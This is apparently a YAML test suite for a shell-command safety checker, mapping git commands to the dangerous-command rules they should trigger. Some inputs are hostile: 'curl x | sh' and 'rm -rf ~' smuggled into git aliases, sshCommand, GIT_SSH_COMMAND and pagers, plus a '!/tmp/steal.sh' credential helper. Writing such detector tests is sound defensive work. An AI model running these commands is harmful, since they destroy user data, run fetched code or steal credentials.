---
- test: "git bisect start"
description: "match bisect start"
expect_ids: ["git:bisect"]
- test: "git bisect good"
description: "match bisect good"
expect_ids: ["git:bisect"]
- test: "git bisect bad"
description: "match bisect bad"
expect_ids: ["git:bisect"]
- test: "git bisect reset"
description: "match bisect reset"
expect_ids: ["git:bisect"]
- test: "git cherry-pick abc123"
description: "match cherry-pick command"
expect_ids: ["git:cherry_pick"]
- test: "git cherry-pick --no-commit"
description: "match cherry-pick without commit"
expect_ids: ["git:cherry_pick"]
- test: "git clean -fd"
description: "match force clean command"
expect_ids: ["git:clean_force"]
- test: "git clean -fdx"
description: "match force clean command with x option"
expect_ids: ["git:clean_force"]
- test: "git rm *"
description: "match command"
expect_ids: ["git:delete_all"]
- test: "git rm ."
description: "match command"
expect_ids: ["git:delete_all"]
- test: "git rm README.md"
description: "negative: removing a specific file should not match"
expect_ids: []
- test: "gitt rm"
description: "invalid command"
expect_ids: []
- test: "git update-ref -d refs/heads/feature"
description: "match delete reference"
expect_ids: ["git:delete_ref"]
- test: "git update-ref -d HEAD"
description: "match delete HEAD reference"
expect_ids: ["git:delete_ref"]
- test: "git filter-branch --env-filter"
description: "match filter-branch command"
expect_ids: ["git:filter_branch"]
- test: "git filter-branch --force"
description: "match filter-branch with force"
expect_ids: ["git:filter_branch"]
- test: "git checkout -f main"
description: "match force checkout"
expect_ids: ["git:force_checkout"]
- test: "git checkout -f"
description: "match force checkout current branch"
expect_ids: ["git:force_checkout"]
- test: "git branch -D feature"
description: "match force delete branch"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -D"
description: "match force delete current branch"
expect_ids: ["git:force_delete_branch"]
- test: "git push -f"
description: "match force push command"
expect_ids: ["git:force_push"]
- test: "git push --force"
description: "match force push with long option"
expect_ids: ["git:force_push"]
- test: "git push origin --force"
description: "match force push with remote before flag"
expect_ids: ["git:force_push"]
- test: "git push origin main --force"
description: "match force push with remote and branch before flag"
expect_ids: ["git:force_push"]
- test: "git push origin -f"
description: "match force push with remote before short flag"
expect_ids: ["git:force_push"]
- test: "git push --force-with-lease"
description: "force push with lease is the safe alternative and should not match"
expect_ids: []
- test: "git gc --prune=now"
description: "match garbage collection with prune"
expect_ids: ["git:gc_prune"]
- test: "git gc --prune=now"
description: "match garbage collection with prune and extra spaces"
expect_ids: ["git:gc_prune"]
- test: "git gc --aggressive"
description: "match aggressive garbage collection"
expect_ids: []
- test: "git gc --prune"
description: "should not match without =now"
expect_ids: []
- test: "git rebase -i HEAD~3"
description: "match interactive rebase"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git rebase -i"
description: "match interactive rebase without range"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git merge --no-ff feature"
description: "match non-fast-forward merge"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --abort"
description: "match merge abort"
expect_ids: ["git:merge_no_ff"]
- test: "git merge --no-ff"
description: "match non-fast-forward merge without branch"
expect_ids: ["git:merge_no_ff"]
- test: "git reset"
description: "match command"
expect_ids: []
- test: "git reset"
description: "match command"
expect_ids: []
- test: "gitt reset"
description: "invalid command"
expect_ids: []
- test: "git worktree add ../other"
description: "match add worktree"
expect_ids: ["git:worktree_management"]
- test: "git worktree remove ../other"
description: "match remove worktree"
expect_ids: ["git:worktree_management"]
- test: "git worktree add -f ../other"
description: "match force add worktree"
expect_ids: ["git:worktree_management"]
- test: "git worktree remove -f ../other"
description: "match force remove worktree"
expect_ids: ["git:worktree_management"]
- test: "git add ."
description: "match add all files"
expect_ids: ["git-strict:add_all"]
- test: "git add -A"
description: "match add all files with -A"
expect_ids: ["git-strict:add_all"]
- test: "git add --all"
description: "match add all files with --all"
expect_ids: ["git-strict:add_all"]
- test: "git add README.md"
description: "negative: adding a specific file should not match"
expect_ids: []
- test: "git status"
description: "negative: status command should not match add pattern"
expect_ids: []
- test: "git commit --all"
description: "match commit all changes"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -a"
description: "match commit all with short option"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -am 'message'"
description: "match commit all with message"
expect_ids: ["git-strict:commit_all"]
- test: "git commit -m 'test'"
description: "negative: commit with only -m (no -a) should not match"
expect_ids: []
- test: "git commit --amend"
description: "negative: amend should not match commit-all check"
expect_ids: []
- test: "git commit --author='someone'"
description: "negative: author flag should not match commit-all check"
expect_ids: []
- test: "git tag -a v1.0.0"
description: "match create annotated tag"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a"
description: "match create annotated tag without name"
expect_ids: ["git-strict:create_tag"]
- test: "git tag v1.0.0"
description: "negative: lightweight tag without -a should not match"
expect_ids: []
- test: "git rebase main"
description: "match basic rebase"
expect_ids: ["git-strict:rebase"]
- test: "git rebase"
description: "match rebase without branch"
expect_ids: ["git-strict:rebase"]
- test: "git pull --rebase main"
description: "negative: pull with --rebase flag is not a rebase command"
expect_ids: []
- test: "git stash pop"
description: "match stash pop"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash drop"
description: "match stash drop"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash list"
description: "negative: listing stash entries should not match"
expect_ids: []
- test: "git submodule update"
description: "match submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule deinit"
description: "match submodule deinit"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule update --init"
description: "match submodule update with init"
expect_ids: ["git-strict:submodule_update"]
- test: "git submodule status"
description: "negative: checking submodule status should not match"
expect_ids: []
- test: "git clean -df"
description: "flag reorder -df now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -fxd"
description: "flag reorder -fxd now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -xfd"
description: "flag reorder -xfd now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -dfx"
description: "flag reorder -dfx now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -xdf"
description: "flag reorder -xdf now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -dxf"
description: "flag reorder -dxf now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -f -d"
description: "separate -f -d flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -d -f"
description: "separate -d -f flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -f -d -x"
description: "three separate flags now matched after regex fix"
expect_ids: ["git:clean_force"]
- test: "git clean -fdX"
description: "-fdX starts with -fd, matches"
expect_ids: ["git:clean_force"]
- test: "git clean -fd"
description: "extra spaces, still matches"
expect_ids: ["git:clean_force"]
- test: "git clean -fdn"
description: "-fdn starts with -fd, '-n' substring not present (n preceded by d not -)"
expect_ids: []
- test: "git branch --delete --force feature"
description: "long-form --delete --force now matched after regex fix"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -d --force feature"
description: "-d with --force now matched after regex fix"
expect_ids: ["git:force_delete_branch"]
- test: "git branch -D feature/my-branch"
description: "branch with slash in name"
expect_ids: ["git:force_delete_branch"]
- test: "git checkout --force main"
description: "long-form --force now matched after regex fix"
expect_ids: ["git:force_checkout"]
- test: "git checkout -f -- ."
description: "force checkout with -- separator"
expect_ids: ["git:checkout_discard_all", "git:force_checkout"]
- test: "git checkout -- ."
description: "match checkout discard all changes"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- ./"
description: "match checkout discard all with trailing slash"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- *"
description: "match checkout discard with glob"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- ."
description: "match checkout discard all with extra spaces"
expect_ids: ["git:checkout_discard_all"]
- test: "git checkout -- file.txt"
description: "negative: checkout specific file should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- src/main.rs"
description: "negative: checkout specific file path should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- .gitignore"
description: "negative: checkout dotfile should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git checkout -- .env"
description: "negative: checkout .env file should not match"
expect_ids: ["git:checkout_discard_path"]
- test: "git restore -- src"
description: "after --"
expect_ids: ["git:restore_discard_path"]
- test: "git restore --staged README.md"
description: "negative: unstaging only"
expect_ids: []
- test: "git restore --staged --worktree README.md"
description: "unstaging and discarding"
expect_ids: ["git:restore_discard_path"]
- test: "git restore ."
description: "match restore discard all changes"
expect_ids: ["git:restore_discard_all"]
- test: "git restore ./"
description: "match restore discard all with trailing slash"
expect_ids: ["git:restore_discard_all"]
- test: "git restore *"
description: "match restore discard with glob"
expect_ids: ["git:restore_discard_all"]
- test: "git restore --staged ."
description: "negative: --staged only unstages, the working tree is kept"
expect_ids: []
- test: "git restore --staged ./"
description: "negative: --staged only unstages, the working tree is kept"
expect_ids: []
- test: "git restore --source=HEAD ."
description: "match restore with source flag"
expect_ids: ["git:restore_discard_all"]
- test: "git restore --staged --worktree ."
description: "match restore with multiple flags"
expect_ids: ["git:restore_discard_all"]
- test: "git restore ."
description: "match restore discard all with extra spaces"
expect_ids: ["git:restore_discard_all"]
- test: "git restore file.txt"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore --staged file.txt"
description: "negative: restore staged specific file should not match"
expect_ids: []
- test: "git restore src/main.rs"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore .gitignore"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git restore .env"
description: "a path: discards its changes like git checkout -- <path>"
expect_ids: ["git:restore_discard_path"]
- test: "git reset --hard"
description: "hard reset, most dangerous variant"
expect_ids: ["git:reset"]
- test: "git reset --hard HEAD~3"
description: "hard reset to specific commit"
expect_ids: ["git:reset"]
- test: "git reset --soft HEAD~1"
description: "soft reset filtered out by NotContains"
expect_ids: []
- test: "git reset --hard origin/main"
description: "hard reset to remote"
expect_ids: ["git:reset"]
- test: "git push --mirror origin"
description: "match push --mirror with remote"
expect_ids: ["git:push_mirror"]
- test: "git push origin --mirror"
description: "match push with remote before --mirror"
expect_ids: ["git:push_mirror"]
- test: "git push --mirror"
description: "match push --mirror without remote"
expect_ids: ["git:push_mirror"]
- test: "git push origin main"
description: "negative: regular push should not match mirror"
expect_ids: []
- test: "git push origin --delete feature-branch"
description: "match push --delete branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin --delete main"
description: "match push --delete main branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin :feature-branch"
description: "match push colon syntax to delete remote branch"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin main"
description: "negative: regular push should not match delete"
expect_ids: []
- test: "git reflog expire --expire=now --all"
description: "match reflog expire now with --all"
expect_ids: ["git:reflog_expire"]
- test: "git reflog expire --expire=now"
description: "match reflog expire now without --all"
expect_ids: ["git:reflog_expire"]
- test: "git reflog show"
description: "negative: reflog show should not match"
expect_ids: []
- test: "git reflog expire --expire=90.days"
description: "negative: normal expire should not match"
expect_ids: []
- test: "git stash clear"
description: "match stash clear"
expect_ids: ["git:stash_clear"]
- test: "git stash clear"
description: "match stash clear with extra spaces"
expect_ids: ["git:stash_clear"]
- test: "git stash list"
description: "negative: stash list should not match"
expect_ids: []
- test: "git stash pop"
description: "negative: stash pop should not match stash_clear"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git stash drop"
description: "negative: stash drop should not match stash_clear"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git push origin feature --force-if-includes"
description: "force-if-includes is safe alternative and should not match"
expect_ids: []
- test: "git push origin -f"
description: "EDGE: force push with extra spaces"
expect_ids: ["git:force_push"]
- test: "git push -f origin main"
description: "EDGE: -f immediately after push before remote"
expect_ids: ["git:force_push"]
- test: "git gc --aggressive --prune=now"
description: "match gc with intervening flags before --prune=now"
expect_ids: ["git:gc_prune"]
- test: "git reflog expire --all --expire=now"
description: "match reflog expire with intervening flags before --expire=now"
expect_ids: ["git:reflog_expire"]
- test: "git rm -f *"
description: "match rm with flag before wildcard"
expect_ids: ["git:delete_all", "git:rm_force"]
- test: "git rm -r ."
description: "match rm with flag before dot"
expect_ids: ["git:delete_all"]
- test: "git rm ."
description: "match rm dot with extra spaces"
expect_ids: ["git:delete_all"]
- test: "git rm .."
description: "negative: parent dir .. should not match delete all"
expect_ids: []
- test: "git clean --force -d"
description: "match clean with --force long-form"
expect_ids: ["git:clean_force"]
- test: "git clean -f -x -d"
description: "EDGE: three separate flags with -x between"
expect_ids: ["git:clean_force"]
- test: "git checkout main -f"
description: "match force checkout with -f after branch name"
expect_ids: ["git:force_checkout"]
- test: "git checkout --force"
description: "match force checkout with extra spaces"
expect_ids: ["git:force_checkout"]
- test: "git rebase --interactive HEAD~3"
description: "match interactive rebase with --interactive long-form"
expect_ids: ["git-strict:rebase", "git:interactive_rebase"]
- test: "git update-ref --delete refs/heads/main"
description: "match delete ref with --delete long-form"
expect_ids: ["git:delete_ref"]
- test: "git update-ref -d refs/stash"
description: "EDGE: extra spaces in delete ref"
expect_ids: ["git:delete_ref"]
- test: "git tag --annotate v1.0"
description: "match annotated tag with --annotate long-form"
expect_ids: ["git-strict:create_tag"]
- test: "git push --delete origin feature"
description: "match push delete with --delete before remote"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin --delete feature"
description: "match push delete with extra spaces"
expect_ids: ["git:push_delete_branch"]
- test: "git push origin :refs/heads/feature"
description: "EDGE: full refspec delete"
expect_ids: ["git:push_delete_branch"]
- test: "git add -p ."
description: "EDGE: -p before dot - should not match add_all"
expect_ids: []
- test: "git add --all --verbose"
description: "EDGE: --all with trailing flag"
expect_ids: ["git-strict:add_all"]
- test: "git stash clearing"
description: "EDGE: word starting with clear should not match"
expect_ids: []
- test: 'git switch --discard-changes main'
description: "discard and switch"
expect_ids: ["git:switch_discard_changes"]
- test: 'git switch -f main'
description: "force switch"
expect_ids: ["git:switch_discard_changes"]
- test: 'git switch -c feature'
description: "negative: create branch"
expect_ids: []
- test: 'git config --global core.hooksPath /tmp/x'
description: "hooks path"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i /tmp/k'''
description: "negative: a plain ssh with options (a deploy key) runs nothing else"
expect_ids: []
- test: 'git config core.sshCommand ''ssh -i k; curl x | sh'''
description: "an ssh command with shell code"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o ProxyCommand=/tmp/x.sh'''
description: "ProxyCommand runs a program"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -oProxyCommand=/tmp/x.sh'''
description: "glued -o ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o proxycommand=nc'''
description: "lower-case ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o PermitLocalCommand=yes -o LocalCommand=/tmp/x'''
description: "LocalCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -o KnownHostsCommand=/tmp/x'''
description: "KnownHostsCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -F /tmp/evil_config'''
description: "-F config file can set ProxyCommand"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i k -o User=git -o LocalCommand=/tmp/x'''
description: "a bad -o after good ones"
expect_ids: ["git:config_exec_hook"]
- test: 'git config core.sshCommand ''ssh -i ~/.ssh/k -o IdentitiesOnly=yes -p 2222'''
description: "negative: deploy key with safe -o options"
expect_ids: []
- test: 'git config core.sshCommand ''ssh -oStrictHostKeyChecking=accept-new'''
description: "negative: glued safe -o option"
expect_ids: []
- test: 'git config core.hooksPath'
description: "negative: reading the value"
expect_ids: []
- test: 'git restore --staged --worktree .'
description: "staged + worktree discards"
expect_ids: ["git:restore_discard_all"]
- test: 'git restore -S -W .'
description: "short flags"
expect_ids: ["git:restore_discard_all"]
- test: 'git reset'
description: "negative: mixed reset only unstages"
expect_ids: []
- test: 'git reset README.md'
description: "negative: unstage a path"
expect_ids: []
- test: 'git reset --hard'
description: "hard reset"
expect_ids: ["git:reset"]
- test: 'git rm -rf src'
description: "git rm -f discards local modifications"
expect_ids: ["git:rm_force"]
- test: 'git rm --cached -rf src'
description: "negative: --cached keeps the files"
expect_ids: []
- test: 'git rm -r src'
description: "negative: without -f git refuses to drop changes"
expect_ids: []
- test: 'git branch -f main HEAD~1'
description: "moving an existing branch"
expect_ids: ["git:branch_force_move"]
- test: 'git branch -f newthing'
description: "negative: no start point"
expect_ids: []
- test: 'git checkout -B main origin/main'
description: "checkout -B resets an existing branch"
expect_ids: ["git:checkout_reset_branch"]
- test: 'git switch -C main origin/main'
description: "switch -C resets an existing branch"
expect_ids: ["git:checkout_reset_branch"]
- test: 'git checkout -b feature/x'
description: "negative: -b creates a branch"
expect_ids: []
- test: 'git filter-repo --path src --invert-paths'
description: "filter-repo rewrites history"
expect_ids: ["git:filter_repo"]
- test: "shellfirm-force-push-protected main"
description: "marker emitted for --force-with-lease to a protected branch"
expect_ids: ["git:force_push_protected"]
- test: "shellfirm-force-push-unknown-target"
description: "marker emitted for --force-with-lease to a target only known at run time"
expect_ids: ["git:force_push_unknown_target"]
- test: "{git reset --hard;}"
description: "zsh brace group glued to the command"
expect_ids: ["git:reset"]
- test: "=git reset --hard"
description: "zsh =git"
expect_ids: ["git:reset"]
- test: "git -c alias.x='!rm -rf ~' x"
description: "a git shell alias runs its command"
expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "git config --global core.pager 'sh -c evil'"
description: "a global pager runs a program on every git command"
expect_ids: ["git:config_exec_program"]
- test: "git config --global alias.st '!curl x | sh'"
description: "a shell alias"
expect_ids: ["git:config_exec_program"]
- test: "git config core.editor vim"
description: "negative: a common editor"
expect_ids: []
- test: "git config core.editor ./x.sh"
description: "an editor that is another program"
expect_ids: ["git:config_exec_program"]
- test: "git config --get core.pager"
description: "negative: reading the value"
expect_ids: []
- test: "git config --global alias.st status"
description: "negative: a git alias (no shell)"
expect_ids: []
- test: "git -c core.pager=cat log -5"
description: "negative: a pager turned off for one command"
expect_ids: []
- test: "git -c core.fsmonitor=false status"
description: "negative: fsmonitor off"
expect_ids: []
- test: "git config core.fsmonitor false"
description: "negative: fsmonitor off, persistent"
expect_ids: []
- test: "git -c core.editor=true rebase --continue"
description: "negative for the program check: editor `true`"
expect_ids: ["git-strict:rebase"]
- test: "git config --global core.pager delta"
description: "negative: a common pager"
expect_ids: []
- test: "git -c core.pager='sh -c x' log"
description: "a one-shot pager that runs shell code"
expect_ids: ["git:config_exec_program"]
- test: "git config --global uploadpack.packObjectsHook /tmp/x"
description: "packObjectsHook runs a program"
expect_ids: ["git:config_exec_hook"]
- test: "git config --global protocol.ext.allow always"
description: "the ext:: transport runs any command"
expect_ids: ["git:config_exec_hook"]
- test: "GIT_SSH_COMMAND='rm -rf ~' git fetch"
description: "GIT_SSH_COMMAND runs its value"
expect_ids: ["fs:recursively_delete", "fs-strict:recursive_deletion"]
- test: "mygit push -f"
description: "another tool whose name ends in git"
expect_ids: []
- test: "/usr/bin/git push -f"
description: "a path to git"
expect_ids: ["git:force_push"]
- test: "legit rebase main"
description: "a tool whose name ends in git"
expect_ids: []
- test: "git push origin --all --prune"
description: "deletes every remote branch without a local counterpart"
expect_ids: ["git:push_prune"]
- test: "git push --prune origin refs/heads/*:refs/heads/*"
description: "--prune with a refspec"
expect_ids: ["git:push_prune"]
- test: "git push --all --prune --dry-run origin"
description: "negative: a dry run"
expect_ids: []
- test: "git push --mirror -n"
description: "negative: a mirror dry run"
expect_ids: []
- test: "git push --delete origin main -n"
description: "negative: a delete dry run"
expect_ids: []
- test: "git push --delete origin main"
description: "still caught without -n"
expect_ids: ["git:push_delete_branch"]
- test: "git config --global credential.helper '!/tmp/steal.sh'"
description: "round 3: a !-prefixed credential helper runs shell code"
expect_ids: ["git:config_exec_program"]
- test: "git config core.editor"
description: "round 3: reading a setting (no value) only prints it"
expect_ids: []
- test: "git config core.pager"
description: "round 3: reading the pager setting is not an exec install"
expect_ids: []
- test: "git config --global credential.helper store"
description: "negative round 3: the store helper is not shell code"
expect_ids: []